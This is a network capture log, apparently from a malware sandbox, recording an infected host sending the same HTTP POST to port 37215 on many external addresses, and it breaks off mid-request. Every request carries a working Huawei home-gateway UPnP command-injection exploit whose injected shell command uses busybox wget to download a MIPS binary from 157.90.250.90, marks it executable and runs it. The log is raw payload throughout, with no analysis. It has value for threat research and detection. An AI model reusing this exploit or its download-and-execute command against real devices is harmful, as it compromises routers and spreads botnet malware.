Dec 3, 2024 22:02:06.069088936 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	34028	197.19.145.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.082073927 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	38414	41.68.117.52	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.082976103 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	51700	41.118.194.99	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.083699942 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	37010	156.117.91.14	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.084398985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	49020	156.48.132.91	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.085081100 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	44634	197.97.53.20	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.085760117 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	49882	197.119.230.197	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.086431026 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	50396	197.197.86.116	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.087106943 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	48674	41.92.97.54	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.087807894 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	57636	41.3.168.87	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.088490963 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 